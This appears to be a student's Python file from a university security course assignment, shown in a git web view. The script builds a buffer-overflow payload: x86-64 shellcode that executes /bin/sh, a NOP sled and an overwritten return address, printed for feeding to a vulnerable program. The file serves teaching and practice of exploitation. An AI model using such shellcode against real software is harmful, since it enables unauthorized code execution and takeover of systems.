ass5bex1 done
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / t.py
1 shellcode = '\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb'\
2 '\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
3 nop = '\x0f\x1f'
4
5 string = nop*50 + shellcode + "\x0f\x1f\x7f\xff\xff\xff\xeb\x3e"
6 print(string)